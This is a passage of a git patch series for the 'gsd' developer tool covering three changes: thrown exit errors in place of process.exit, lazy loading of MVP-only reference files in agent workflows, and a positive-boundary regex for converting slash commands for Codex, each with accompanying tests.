@@ -1563,11 +1557,9 @@ async function runCommand(command, args, cwd, raw, defaultValue, originalCommand return await fs.promises.readFile(resolved, 'utf8'); } catch (err) { if (err && err.code === 'ENOENT') { - process.stderr.write(`Error: file not found for ${flagName}: ${resolved}\n`); - process.exit(1); + throw new ExitError(1, `Error: file not found for ${flagName}: ${resolved}`); } - process.stderr.write(`Error: cannot read file for ${flagName}: ${resolved}\n`); - process.exit(1); + throw new ExitError(1, `Error: cannot read file for ${flagName}: ${resolved}`); } } @@ -1578,8 +1570,7 @@ async function runCommand(command, args, cwd, raw, defaultValue, originalCommand return await fs.promises.readFile(resolved, 'utf8'); } catch (err) { if (err && err.code === 'ENOENT') return null; - process.stderr.write(`Error: cannot read optional file: ${resolved}\n`); - process.exit(1); + throw new ExitError(1, `Error: cannot read optional file: ${resolved}`); } } @@ -1592,11 +1583,9 @@ async function runCommand(command, args, cwd, raw, defaultValue, originalCommand return { file: path.basename(p), content }; } catch (err) { if (err && err.code === 'ENOENT') { - process.stderr.write(`Error: plan file not found: ${resolved}\n`); - process.exit(1); + throw new ExitError(1, `Error: plan file not found: ${resolved}`); } - process.stderr.write(`Error: cannot read plan file: ${resolved}\n`); - process.exit(1); + throw new ExitError(1, `Error: cannot read plan file: ${resolved}`); } })); @@ -1625,7 +1614,7 @@ async function runCommand(command, args, cwd, raw, defaultValue, originalCommand await fs.promises.writeFile(path.resolve(outputPromptFile), prompt); if (metadata.hardFailed) { - process.exit(2); + throw new ExitError(2); } break; } @@ -1895,4 +1884,4 @@ async function runCommand(command, args, cwd, raw, defaultValue, originalCommand } } -main(); +runMain(main); diff --git a/gsd-core/bin/verify-reapply-patches.cjs b/gsd-core/bin/verify-reapply-patches.cjs index 2bd44d696..79e7965bb 100755 --- a/gsd-core/bin/verify-reapply-patches.cjs +++ b/gsd-core/bin/verify-reapply-patches.cjs @@ -32,6 +32,7 @@ const fs = require('node:fs'); const path = require('node:path'); const crypto = require('node:crypto'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); const SIGNIFICANT_MIN_CHARS = 12; const GSD_HOOK_VERSION_LINE_RE = /^(?:\/\/|#)\s*gsd-hook-version:\s*\S+\s*$/i; @@ -48,10 +49,9 @@ function parseArgs(argv) { process.stdout.write( 'usage: verify-reapply-patches.cjs --patches-dir --config-dir [--pristine-dir ] [--json]\n', ); - process.exit(0); + throw new ExitError(0); } else { - process.stderr.write(`unknown argument: ${arg}\n`); - process.exit(2); + throw new ExitError(2, `unknown argument: ${arg}`); } } return opts; @@ -281,16 +281,13 @@ function verifyFile({ relPath, patchesDir, configDir, pristineDir, pristineHashe function main() { const opts = parseArgs(process.argv.slice(2)); if (!opts.patchesDir || !opts.configDir) { - process.stderr.write('--patches-dir and --config-dir are required\n'); - process.exit(2); + throw new ExitError(2, '--patches-dir and --config-dir are required'); } if (!fs.existsSync(opts.patchesDir)) { - process.stderr.write(`patches dir not found: ${opts.patchesDir}\n`); - process.exit(2); + throw new ExitError(2, `patches dir not found: ${opts.patchesDir}`); } if (!fs.existsSync(opts.configDir)) { - process.stderr.write(`config dir not found: ${opts.configDir}\n`); - process.exit(2); + throw new ExitError(2, `config dir not found: ${opts.configDir}`); } const files = walk(opts.patchesDir).filter((f) => !f.endsWith('backup-meta.json')); @@ -342,11 +339,11 @@ function main() { } } - process.exit(failures.length > 0 ? 1 : 0); + return failures.length > 0 ? 1 : 0; } if (require.main === module) { - main(); + runMain(main); } module.exports = { computeUserAddedLines, isSignificantLine, verifyFile, walk, REASON, readPristineHashes, sha256 }; diff --git a/src/cli-exit.cts b/src/cli-exit.cts new file mode 100644 index 000000000..7e4a0afda --- /dev/null +++ b/src/cli-exit.cts @@ -0,0 +1,41 @@ +/** + * Error carrying a process exit code. CLI logic throws this instead of calling + * process.exit() (banned by n/no-process-exit); runMain() translates it into + * process.exitCode at the entrypoint. + */ +class ExitError extends Error { + code: number; + hasUserMessage: boolean; + constructor(code = 1, message?: string) { + super(message === undefined ? `process exit ${code}` : message); + this.name = 'ExitError'; + this.code = code; + this.hasUserMessage = message !== undefined; + } +} + +/** + * Run a CLI main and translate its outcome into process.exitCode (never + * process.exit, so n/no-process-exit stays satisfied; output flushes and + * process.on('exit') cleanup still fires). main may be sync or async: + * number return -> process.exitCode = it + * thrown ExitError -> process.exitCode = err.code (+ stderr err.message if hasUserMessage && code!=0) + * other throw -> stderr stack + process.exitCode = 1 + */ +function runMain(main: () => number | void | Promise): void { + Promise.resolve() + .then(() => main()) + .then((code) => { if (typeof code === 'number') process.exitCode = code; }) + .catch((err: unknown) => { + if (err instanceof ExitError) { + if (err.hasUserMessage && err.code !== 0) process.stderr.write(`${err.message}\n`); + process.exitCode = err.code; + return; + } + const e = err as Error; + process.stderr.write(`${e && e.stack ? e.stack : String(err)}\n`); + process.exitCode = 1; + }); +} + +export = { ExitError, runMain }; From 1bea220d586a65fd15a8e32b3e263697cc0e3da1 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 18:23:17 -0400 Subject: [PATCH 29/94] refactor(#720): lazy-load MVP-only reference bodies on non-MVP runs (#746) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * refactor(#720): lazy-load MVP-only reference bodies (eager @-import → gated Read) Convert eager @-imports of MVP-only reference bodies into lazy "Read" instructions gated on MVP_MODE / WALKING_SKELETON / MVP+TDD, so non-MVP planning/execution runs no longer pull MVP guidance into context. Covers both the workflow files and the planner/executor agent definitions (the dominant context-cost path): - workflows/plan-phase.md: planner-mvp-mode.md + skeleton-template.md (L146/936/937/941) - workflows/execute-phase.md: execute-mvp-tdd.md halt-report ref, now gated on gate-trip (L191) - agents/gsd-planner.md: planner-mvp-mode.md, user-story-template.md, skeleton-template.md - agents/gsd-executor.md: execute-mvp-tdd.md The dedicated always-MVP mvp-phase workflow keeps its eager imports (intentional). Behaviour is unchanged; non-MVP runs simply carry less loaded context. Adds a regression guard mirroring the discuss-phase lazy-load test, and documents the conformance in docs/ARCHITECTURE.md. Refs #720 Co-Authored-By: Claude Opus 4.8 * docs(#720): add changeset fragment (pr #746) Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .../lazy-mvp-bodies-progressive-disclosure.md | 5 + agents/gsd-executor.md | 2 +- agents/gsd-planner.md | 6 +- docs/ARCHITECTURE.md | 10 ++ gsd-core/workflows/execute-phase.md | 2 +- gsd-core/workflows/plan-phase.md | 8 +- tests/workflow-size-budget.test.cjs | 147 ++++++++++++++++++ 7 files changed, 171 insertions(+), 9 deletions(-) create mode 100644 .changeset/lazy-mvp-bodies-progressive-disclosure.md diff --git a/.changeset/lazy-mvp-bodies-progressive-disclosure.md b/.changeset/lazy-mvp-bodies-progressive-disclosure.md new file mode 100644 index 000000000..2dad6c698 --- /dev/null +++ b/.changeset/lazy-mvp-bodies-progressive-disclosure.md @@ -0,0 +1,5 @@ +--- +type: Changed +pr: 746 +--- +**`/gsd:plan-phase` and `/gsd:execute-phase` no longer eagerly load MVP-only guidance on non-MVP runs** — the MVP planner rules, user-story template, Walking-Skeleton template, and MVP+TDD halt-report reference are now Read lazily by the planner/executor only when MVP / Walking-Skeleton / MVP+TDD mode is active, in both the workflow files and the `gsd-planner`/`gsd-executor` agent definitions, instead of being `@`-imported into every run. Behaviour is unchanged; non-MVP planning/execution simply carries less context. (#720) diff --git a/agents/gsd-executor.md b/agents/gsd-executor.md index 1deac8ca3..2a70dbea5 100644 --- a/agents/gsd-executor.md +++ b/agents/gsd-executor.md @@ -385,7 +385,7 @@ If RED or GREEN gate commits are missing, add a warning to SUMMARY.md under a `# ## MVP+TDD Gate -**When the orchestrator passes both `MVP_MODE=true` and `TDD_MODE=true`:** Before running the implementation step of any task with `tdd="true"`, run the runtime gate from `@~/.claude/gsd-core/references/execute-mvp-tdd.md`. If the gate trips, halt and report — do NOT proceed to the implementation step. +**When the orchestrator passes both `MVP_MODE=true` and `TDD_MODE=true`:** Before running the implementation step of any task with `tdd="true"`, run the runtime gate from `~/.claude/gsd-core/references/execute-mvp-tdd.md` (Read it). If the gate trips, halt and report — do NOT proceed to the implementation step. **Halt-and-report protocol:** diff --git a/agents/gsd-planner.md b/agents/gsd-planner.md index 2a6a9aaac..6eeabea88 100644 --- a/agents/gsd-planner.md +++ b/agents/gsd-planner.md @@ -309,7 +309,7 @@ Exceptions where `tdd="true"` is not needed: `type="checkpoint:*"` tasks, config ## MVP Mode Detection -**When `MVP_MODE` is enabled (passed by the plan-phase orchestrator):** Decompose tasks as **vertical feature slices**, not horizontal layers. Required reading: `@~/.claude/gsd-core/references/planner-mvp-mode.md` (loaded conditionally by the orchestrator). +**When `MVP_MODE` is enabled (passed by the plan-phase orchestrator):** Decompose tasks as **vertical feature slices**, not horizontal layers. Required reading: Read `~/.claude/gsd-core/references/planner-mvp-mode.md` for the vertical-slice rules (lazy — only on MVP runs). **Core rule:** After each task completes, a real user can do something they could not do after the previous task. If a task only "lays foundation," it is horizontal disguised as vertical — restructure. @@ -323,7 +323,7 @@ Exceptions where `tdd="true"` is not needed: `type="checkpoint:*"` tasks, config **As a** [user role], **I want to** [capability], **so that** [outcome]. ``` - Format rules from `@~/.claude/gsd-core/references/user-story-template.md`: + Format rules (Read `~/.claude/gsd-core/references/user-story-template.md`): - All three slots required. If the ROADMAP `**Goal:**` line is not in user-story format, surface the discrepancy and ask the user to run `/gsd mvp-phase ${PHASE}` first — do not invent a story. - Bold the three keywords (`**As a**`, `**I want to**`, `**so that**`) when emitting to PLAN.md. The ROADMAP form does not use bolded keywords; the PLAN form does. 2. First task: failing end-to-end test for the happy path. @@ -332,7 +332,7 @@ Exceptions where `tdd="true"` is not needed: `type="checkpoint:*"` tasks, config **Mode is all-or-nothing per phase** (PRD decision Q1). Do not produce a plan that mixes vertical-slice tasks with horizontal layer tasks within the same phase. -**Walking Skeleton mode** (`WALKING_SKELETON=true`, set by orchestrator for Phase 1 + new project under `--mvp`): The first deliverable is a Walking Skeleton — the thinnest possible end-to-end stack. In addition to `PLAN.md`, produce `SKELETON.md` using the template at `@~/.claude/gsd-core/references/skeleton-template.md`. `SKELETON.md` records architectural decisions (framework, DB, auth, deployment, directory layout) that subsequent phases will build on without renegotiating. +**Walking Skeleton mode** (`WALKING_SKELETON=true`, set by orchestrator for Phase 1 + new project under `--mvp`): The first deliverable is a Walking Skeleton — the thinnest possible end-to-end stack. In addition to `PLAN.md`, produce `SKELETON.md` using the template at `~/.claude/gsd-core/references/skeleton-template.md` (Read it now). `SKELETON.md` records architectural decisions (framework, DB, auth, deployment, directory layout) that subsequent phases will build on without renegotiating. **Compatibility with TDD detection:** When both `MVP_MODE=true` and `workflow.tdd_mode=true`, every behavior-adding task uses `tdd="true"` and a `` block, AND the task ordering follows the vertical-slice structure above. The first task is always a failing end-to-end test. diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md index 0443991e5..48380d3b2 100644 --- a/docs/ARCHITECTURE.md +++ b/docs/ARCHITECTURE.md @@ -193,6 +193,16 @@ parent dispatches, modes/ holds per-flag behavior (`power.md`, `all.md`, checkpoint.json schemas that are read only when the corresponding output file is being written. +`workflows/plan-phase.md`, `workflows/execute-phase.md`, and the +`gsd-planner` / `gsd-executor` agent definitions apply the same discipline +to their MVP-only reference bodies — `planner-mvp-mode.md`, +`user-story-template.md`, `skeleton-template.md`, and `execute-mvp-tdd.md` +are referenced for the planner/executor to Read only on MVP, +Walking-Skeleton, or MVP+TDD paths, rather than eagerly `@`-imported, so +non-MVP runs do not pay their context cost (guards against the "`@`-import +behind a conditional still loads eagerly" leak; see #720). The dedicated +`mvp-phase` workflow keeps its eager imports, since it is always MVP. + ### Agents (`agents/*.md`) Specialized agent definitions with frontmatter specifying: diff --git a/gsd-core/workflows/execute-phase.md b/gsd-core/workflows/execute-phase.md index 96ca1d190..b1af74812 100644 --- a/gsd-core/workflows/execute-phase.md +++ b/gsd-core/workflows/execute-phase.md @@ -188,7 +188,7 @@ if [ "$MVP_MODE" = "true" ] && [ "$TDD_MODE" = "true" ]; then fi fi ``` -Pure doc-only / config-only / test-only tasks return `is_behavior_adding=false` and are exempt. See `execute-mvp-tdd.md` for the halt report format. +Pure doc-only / config-only / test-only tasks return `is_behavior_adding=false` and are exempt. When the gate trips, Read `~/.claude/gsd-core/references/execute-mvp-tdd.md` for the exact halt report format. diff --git a/gsd-core/workflows/plan-phase.md b/gsd-core/workflows/plan-phase.md index cc93aa5ce..f578042e8 100644 --- a/gsd-core/workflows/plan-phase.md +++ b/gsd-core/workflows/plan-phase.md @@ -143,7 +143,7 @@ fi ``` When `WALKING_SKELETON=true`: -- Planner is instructed to produce `SKELETON.md` in the phase directory alongside `PLAN.md`. The template lives at `@~/.claude/gsd-core/references/skeleton-template.md`. +- Planner is instructed to produce `SKELETON.md` in the phase directory alongside `PLAN.md`. The template lives at `~/.claude/gsd-core/references/skeleton-template.md` — the planner reads it when producing SKELETON.md (lazy; not loaded on non-skeleton runs). - The plan must scaffold project + routing + one real DB read/write + one real UI interaction + dev deployment — the thinnest possible end-to-end working slice. **Interaction with `--prd `.** `--mvp` and `--prd` compose. The PRD express path (Step 3.5) creates `CONTEXT.md` from the PRD file and continues to research; the Walking Skeleton gate fires independently from the conditions above. When both are active on Phase 1 of a new project, the planner receives `WALKING_SKELETON=true` and PRD-derived context simultaneously — the PRD informs *what the skeleton should prove*. No precedence is needed; the two signals are orthogonal. See [`references/mvp-concepts.md`](../references/mvp-concepts.md) for the broader interaction map. @@ -933,12 +933,12 @@ Each TDD plan gets one feature with RED/GREEN/REFACTOR gate sequence. ` : ''} -**MVP_MODE:** ${MVP_MODE} (when true, follow vertical-slice rules from `@~/.claude/gsd-core/references/planner-mvp-mode.md`; when false, ignore MVP guidance entirely.) -**WALKING_SKELETON:** ${WALKING_SKELETON} (when true, the first deliverable must be a Walking Skeleton — produce SKELETON.md alongside PLAN.md.) +**MVP_MODE:** ${MVP_MODE} (when true, follow vertical-slice rules from `~/.claude/gsd-core/references/planner-mvp-mode.md`; when false, ignore MVP guidance entirely.) +**WALKING_SKELETON:** ${WALKING_SKELETON} (when true, the first deliverable must be a Walking Skeleton — Read the template at `~/.claude/gsd-core/references/skeleton-template.md` and produce SKELETON.md alongside PLAN.md.) ${MVP_MODE === 'true' ? ` -**MVP Mode is ENABLED.** Follow vertical-slice planning rules from @~/.claude/gsd-core/references/planner-mvp-mode.md. Each plan must deliver a complete vertical slice — thin end-to-end functionality rather than horizontal layers. +**MVP Mode is ENABLED.** Read `~/.claude/gsd-core/references/planner-mvp-mode.md` now and follow its vertical-slice planning rules. Each plan must deliver a complete vertical slice — thin end-to-end functionality rather than horizontal layers. ` : ''} diff --git a/tests/workflow-size-budget.test.cjs b/tests/workflow-size-budget.test.cjs index 65da82e37..18673661f 100644 --- a/tests/workflow-size-budget.test.cjs +++ b/tests/workflow-size-budget.test.cjs @@ -402,3 +402,150 @@ describe('SIZE: discuss-phase progressive disclosure (issue #2551)', () => { ); }); }); + +const AGENTS_DIR = path.join(__dirname, '..', 'agents'); + +describe('workflow progressive disclosure — MVP bodies lazy-loaded (#720)', () => { + // MVP-only reference bodies (planner-mvp-mode.md, skeleton-template.md, + // execute-mvp-tdd.md) must NOT be eagerly @-imported at the top level of the + // always-loaded workflow files or agent definitions. An @-prefixed path is + // expanded into context the moment the file loads — regardless of whether + // MVP_MODE is true — inflating every session's token cost. Use a plain + // backtick path or a conditional "Read ..." instruction instead. See issue #720. + + test('plan-phase.md does not eagerly @-import planner-mvp-mode.md', () => { + const planPhaseContent = fs.readFileSync(path.join(WORKFLOWS_DIR, 'plan-phase.md'), 'utf-8'); + assert.ok( + !/@[~./\w-]*planner-mvp-mode\.md/.test(planPhaseContent), + 'plan-phase.md contains an eager @-import of planner-mvp-mode.md — ' + + 'this loads the MVP body into context for every session, even when MVP_MODE is false. ' + + 'Replace with a conditional Read instruction or a plain backtick path. See #720.' + ); + }); + + test('plan-phase.md does not eagerly @-import skeleton-template.md', () => { + const planPhaseContent = fs.readFileSync(path.join(WORKFLOWS_DIR, 'plan-phase.md'), 'utf-8'); + assert.ok( + !/@[~./\w-]*skeleton-template\.md/.test(planPhaseContent), + 'plan-phase.md contains an eager @-import of skeleton-template.md — ' + + 'this loads the template into context on every plan-phase invocation. ' + + 'Replace with a conditional Read instruction or a plain backtick path. See #720.' + ); + }); + + test('plan-phase.md still references both MVP bodies (lazy reference preserved)', () => { + const planPhaseContent = fs.readFileSync(path.join(WORKFLOWS_DIR, 'plan-phase.md'), 'utf-8'); + assert.ok( + /planner-mvp-mode\.md/.test(planPhaseContent) && /skeleton-template\.md/.test(planPhaseContent), + 'plan-phase.md must still reference planner-mvp-mode.md and skeleton-template.md ' + + '(as lazy backtick paths or Read instructions) so agents know where to find them. ' + + 'Do not delete the references — only remove the leading @ sigil. See #720.' + ); + }); + + test('plan-phase.md does not list MVP bodies in ', () => { + const planPhaseContent = fs.readFileSync(path.join(WORKFLOWS_DIR, 'plan-phase.md'), 'utf-8'); + const requiredReadingMatch = planPhaseContent.match(/([\s\S]*?)<\/required_reading>/); + if (requiredReadingMatch) { + const block = requiredReadingMatch[1]; + assert.ok( + !/planner-mvp-mode\.md/.test(block), + 'planner-mvp-mode.md must NOT appear in plan-phase.md — ' + + 'that block is always loaded regardless of MVP_MODE. See #720.' + ); + assert.ok( + !/skeleton-template\.md/.test(block), + 'skeleton-template.md must NOT appear in plan-phase.md — ' + + 'that block is always loaded regardless of MVP_MODE. See #720.' + ); + } + }); + + test('execute-phase.md does not eagerly @-import execute-mvp-tdd.md', () => { + const executePhaseContent = fs.readFileSync(path.join(WORKFLOWS_DIR, 'execute-phase.md'), 'utf-8'); + assert.ok( + !/@[~./\w-]*execute-mvp-tdd\.md/.test(executePhaseContent), + 'execute-phase.md contains an eager @-import of execute-mvp-tdd.md — ' + + 'this loads the MVP TDD body into context for every session. ' + + 'Replace with a conditional Read instruction or a plain backtick path. See #720.' + ); + }); + + test('execute-phase.md still references execute-mvp-tdd.md (lazy reference preserved)', () => { + const executePhaseContent = fs.readFileSync(path.join(WORKFLOWS_DIR, 'execute-phase.md'), 'utf-8'); + assert.ok( + /execute-mvp-tdd\.md/.test(executePhaseContent), + 'execute-phase.md must still reference execute-mvp-tdd.md (as a lazy backtick path ' + + 'or Read instruction) so agents know where to find it. ' + + 'Do not delete the reference — only ensure there is no leading @ sigil. See #720.' + ); + }); + + test('gsd-planner.md does not eagerly @-import planner-mvp-mode.md', () => { + const content = fs.readFileSync(path.join(AGENTS_DIR, 'gsd-planner.md'), 'utf-8'); + assert.ok( + !/@[~./\w-]*planner-mvp-mode\.md/.test(content), + 'gsd-planner.md contains an eager @-import of planner-mvp-mode.md — ' + + 'this loads the MVP body into context for every session, even when MVP_MODE is false. ' + + 'Replace with a conditional Read instruction or a plain backtick path. See #720.' + ); + }); + + test('gsd-planner.md does not eagerly @-import skeleton-template.md', () => { + const content = fs.readFileSync(path.join(AGENTS_DIR, 'gsd-planner.md'), 'utf-8'); + assert.ok( + !/@[~./\w-]*skeleton-template\.md/.test(content), + 'gsd-planner.md contains an eager @-import of skeleton-template.md — ' + + 'this loads the template into context on every planner invocation. ' + + 'Replace with a conditional Read instruction or a plain backtick path. See #720.' + ); + }); + + test('gsd-planner.md does not eagerly @-import user-story-template.md', () => { + const content = fs.readFileSync(path.join(AGENTS_DIR, 'gsd-planner.md'), 'utf-8'); + assert.ok( + !/@[~./\w-]*user-story-template\.md/.test(content), + 'gsd-planner.md contains an eager @-import of user-story-template.md — ' + + 'this loads the template into context on every planner invocation. ' + + 'Replace with a conditional Read instruction or a plain backtick path. See #720.' + ); + }); + + test('gsd-planner.md still references the three MVP bodies', () => { + const content = fs.readFileSync(path.join(AGENTS_DIR, 'gsd-planner.md'), 'utf-8'); + assert.ok( + /planner-mvp-mode\.md/.test(content), + 'gsd-planner.md must still reference planner-mvp-mode.md (as a lazy path or Read instruction). ' + + 'Do not delete the reference — only remove the leading @ sigil. See #720.' + ); + assert.ok( + /skeleton-template\.md/.test(content), + 'gsd-planner.md must still reference skeleton-template.md (as a lazy path or Read instruction). ' + + 'Do not delete the reference — only remove the leading @ sigil. See #720.' + ); + assert.ok( + /user-story-template\.md/.test(content), + 'gsd-planner.md must still reference user-story-template.md (as a lazy path or Read instruction). ' + + 'Do not delete the reference — only remove the leading @ sigil. See #720.' + ); + }); + + test('gsd-executor.md does not eagerly @-import execute-mvp-tdd.md', () => { + const content = fs.readFileSync(path.join(AGENTS_DIR, 'gsd-executor.md'), 'utf-8'); + assert.ok( + !/@[~./\w-]*execute-mvp-tdd\.md/.test(content), + 'gsd-executor.md contains an eager @-import of execute-mvp-tdd.md — ' + + 'this loads the MVP TDD body into context for every session. ' + + 'Replace with a conditional Read instruction or a plain backtick path. See #720.' + ); + }); + + test('gsd-executor.md still references execute-mvp-tdd.md', () => { + const content = fs.readFileSync(path.join(AGENTS_DIR, 'gsd-executor.md'), 'utf-8'); + assert.ok( + /execute-mvp-tdd\.md/.test(content), + 'gsd-executor.md must still reference execute-mvp-tdd.md (as a lazy path or Read instruction). ' + + 'Do not delete the reference — only remove the leading @ sigil. See #720.' + ); + }); +}); From 1c98d0c5aa49a4102cb534344bf34b28ecae0ab9 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 19:40:52 -0400 Subject: [PATCH 30/94] refactor(#712): replace Codex slash-command denylist lookbehind with positive-boundary match (#747) * refactor(#712): replace Codex slash-command denylist lookbehind with positive-boundary match The hyphen-style /gsd- -> $gsd- conversion in convertSlashCommandsToCodexSkillMentions used a negative-lookbehind DENYLIST enumerating characters that must NOT precede a real mention. #637 -> #704 showed this is an unbounded treadmill: each new unanticipated preceding char (/, ., word chars, then }, )) leaked the same path-corruption bug class, and a backtick-wrapped path (`/gsd-core/workflows/update.md`) still leaked through. Replace it with a POSITIVE two-boundary definition of a mention: 1. Left: opens at start-of-string, whitespace, or an inline-prose delimiter (backtick/quote/paren/bracket). 2. Right: the command token is not followed by a path separator `/` (a path continues, a command does not). The (?![a-z0-9/-]) lookahead also blocks regex backtracking to a shorter command. This closes the whole class by construction (no preceding-char denylist to maintain) and fixes the backtick-wrapped-path corruption the #704 test documented as a pre-existing gap, while preserving conversion of legitimate backtick-wrapped mentions (e.g. CONTEXT.md's `/gsd-execute-phase` lists). The colon-style /gsd: replace is intentionally left unguarded (it never appears as a filesystem path segment) and is annotated as such. Tests assert the regex directly (function now exported) across a convert/ don't-convert matrix plus one end-to-end pipeline assertion for the headline backtick-path case. Co-Authored-By: Claude Opus 4.8 * chore(#712): add changeset fragment for PR #747 Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .changeset/vivid-badgers-zip.md | 7 + bin/install.js | 20 +- ...04-codex-launcher-path-corruption.test.cjs | 193 +++++++++++++++++- 3 files changed, 207 insertions(+), 13 deletions(-) create mode 100644 .changeset/vivid-badgers-zip.md diff --git a/.changeset/vivid-badgers-zip.md b/.changeset/vivid-badgers-zip.md new file mode 100644 index 000000000..aa90b0e76 --- /dev/null +++ b/.changeset/vivid-badgers-zip.md @@ -0,0 +1,7 @@ +--- +type: Changed +pr: 747 +--- +**Codex slash-command conversion no longer corrupts inline-wrapped `/gsd-…` file paths** — the install-time converter now identifies a real `/gsd-` mention by positive boundaries (opening delimiter + no path continuation) instead of an unbounded preceding-character denylist, closing the path-corruption class (#637 → #704) by construction while still converting legitimate backtick-wrapped mentions. + + diff --git a/bin/install.js b/bin/install.js index c143d8533..56b09a9df 100755 --- a/bin/install.js +++ b/bin/install.js @@ -2797,17 +2797,22 @@ function convertClaudeAgentToClineAgent(content) { // ── End Cline converters ───────────────────────────────────────────────────── function convertSlashCommandsToCodexSkillMentions(content) { - // Convert colon-style skill invocations to Codex $ prefix + // Colon-style /gsd: never appears as a filesystem path segment, so no boundary guard is needed (unlike the hyphen-style below). let converted = content.replace(/\/gsd:([a-z0-9-]+)/gi, (_, commandName) => { return `$gsd-${String(commandName).toLowerCase()}`; }); // Convert hyphen-style command references (workflow output) to Codex $ prefix. - // Negative lookbehind excludes shell path contexts where `/gsd-` is a path - // segment, not a slash-command mention: - // - word chars / dot / slash: `bin/gsd-tools.cjs`, `.claude/gsd-core/` - // - `}`: shell variable expressions `${VAR}/gsd-core/` (#704) - // - `)`: command-substitution paths `$(cmd)/gsd-local-patches` (#704) - converted = converted.replace(/(? { + // A real /gsd- MENTION is defined positively by two boundaries, so any + // in-path occurrence is excluded by construction (no denylist of preceding + // chars to maintain — see #712, supersedes the #637/#704 lookbehind treadmill): + // 1. Left boundary: opens at start-of-string, whitespace, or an inline-prose + // delimiter (backtick/quote/paren/bracket) — e.g. `/gsd-execute-phase`. + // 2. Right boundary: the command token is NOT followed by a path separator + // `/` (a path continues: `/gsd-core/bin/...`; a command does not). The + // `(?![a-z0-9/-])` also blocks regex backtracking to a shorter command. + // This converts backtick-wrapped MENTIONS (`/gsd-foo`) while leaving backtick- + // wrapped PATHS (`/gsd-core/workflows/update.md`) untouched (#712). + converted = converted.replace(/(?<=^|[\s`"'([])\/gsd-([a-z0-9-]+)(?![a-z0-9/-])/gi, (_, commandName) => { return `$gsd-${String(commandName).toLowerCase()}`; }); return converted; @@ -10948,6 +10953,7 @@ module.exports = { install, installAllRuntimes, uninstall, + convertSlashCommandsToCodexSkillMentions, convertClaudeCommandToCodexSkill, convertClaudeToOpencodeFrontmatter, convertClaudeToKiloFrontmatter, diff --git a/tests/bug-704-codex-launcher-path-corruption.test.cjs b/tests/bug-704-codex-launcher-path-corruption.test.cjs index c841878c7..b39f3f564 100644 --- a/tests/bug-704-codex-launcher-path-corruption.test.cjs +++ b/tests/bug-704-codex-launcher-path-corruption.test.cjs @@ -23,7 +23,10 @@ const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); -const { convertClaudeCommandToCodexSkill } = require('../bin/install.js'); +const { + convertClaudeCommandToCodexSkill, + convertSlashCommandsToCodexSkillMentions, +} = require('../bin/install.js'); // The canonical launcher snippet path that was being corrupted const RUNTIME_ROOT_PATH = '${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}'; @@ -148,11 +151,10 @@ describe('#704 — Codex global install launcher path corruption', () => { // Walk gsd-core/workflows/ and assert that no file produces $gsd-core // inside a shell variable expansion context after Codex conversion. // - // NOTE: The regex `/(? { ); }); }); + +describe('#712: positive-boundary slash-command conversion', () => { + // Tests call convertSlashCommandsToCodexSkillMentions directly so the regex + // is exercised in isolation — no frontmatter wrapping, no ADAPTER_CLOSE + // stripping, no .claude→.codex rewrite masking the result. + + // ── MUST-NOT-CONVERT (negative) cases ───────────────────────────────────── + // These inputs must be returned UNCHANGED — no $gsd-* substitution. + + test('backtick-wrapped path: `/gsd-core/workflows/update.md` is NOT converted (THE new fix)', () => { + const input = 'See `/gsd-core/workflows/update.md` for details.'; + const result = convertSlashCommandsToCodexSkillMentions(input); + assert.strictEqual( + result, + input, + `Expected backtick-wrapped path to be unchanged. Got: ${result}`, + ); + }); + + test('backtick-wrapped path deeper: `/gsd-pi/bin/foo.cjs` is NOT converted', () => { + const input = 'Run `/gsd-pi/bin/foo.cjs` directly.'; + const result = convertSlashCommandsToCodexSkillMentions(input); + assert.strictEqual( + result, + input, + `Expected deep backtick-wrapped path to be unchanged. Got: ${result}`, + ); + }); + + test('shell var expansion: ${_GSD_RUNTIME_ROOT}/gsd-core/bin/x is NOT converted (regression guard)', () => { + const input = 'PATH="${_GSD_RUNTIME_ROOT}/gsd-core/bin/x"'; + const result = convertSlashCommandsToCodexSkillMentions(input); + assert.ok( + !result.includes('$gsd-core'), + `Expected no $gsd-core substitution in shell var path. Got: ${result}`, + ); + assert.ok( + result.includes('/gsd-core/bin/x'), + `Expected original path to be preserved. Got: ${result}`, + ); + }); + + test('command substitution: $(expand_home ~/.claude)/gsd-local-patches is NOT converted (regression guard)', () => { + const input = 'candidate="$(expand_home ~/.claude)/gsd-local-patches"'; + const result = convertSlashCommandsToCodexSkillMentions(input); + assert.ok( + !result.includes(')$gsd-local'), + `Expected no )$gsd-local substitution. Got: ${result}`, + ); + assert.ok( + result.includes(')/gsd-local-patches'), + `Expected original path to be preserved. Got: ${result}`, + ); + }); + + test('plain path segment: bin/gsd-tools.cjs is NOT converted', () => { + const input = 'node bin/gsd-tools.cjs --help'; + const result = convertSlashCommandsToCodexSkillMentions(input); + assert.strictEqual( + result, + input, + `Expected plain path segment to be unchanged. Got: ${result}`, + ); + }); + + test('plain path segment: .claude/gsd-core/agents — /gsd-core portion is NOT slash-command converted', () => { + // Tests the regex in isolation: the .claude→.codex path rewrite that happens + // inside convertClaudeToCodexMarkdown does NOT run here. We assert directly + // that the slash-command regex leaves /gsd-core after the slash intact — + // i.e. the `e` in `/gsd-core` is NOT treated as a command boundary. + const input = 'Look in .claude/gsd-core/agents for the agent files.'; + const result = convertSlashCommandsToCodexSkillMentions(input); + assert.ok( + !result.includes('$gsd-core'), + `Expected no $gsd-core substitution in .claude/gsd-core path. Got: ${result}`, + ); + assert.ok( + result.includes('/gsd-core/agents'), + `Expected /gsd-core/agents to remain as a path segment. Got: ${result}`, + ); + }); + + // ── MUST-CONVERT (positive) cases ───────────────────────────────────────── + // These inputs contain legitimate /gsd- mentions that MUST be converted. + + test('space-preceded prose: Use /gsd-discuss-phase to start. → $gsd-discuss-phase', () => { + const input = 'Use /gsd-discuss-phase to start.'; + const result = convertSlashCommandsToCodexSkillMentions(input); + assert.ok( + result.includes('$gsd-discuss-phase'), + `Expected /gsd-discuss-phase to be converted. Got: ${result}`, + ); + assert.ok( + 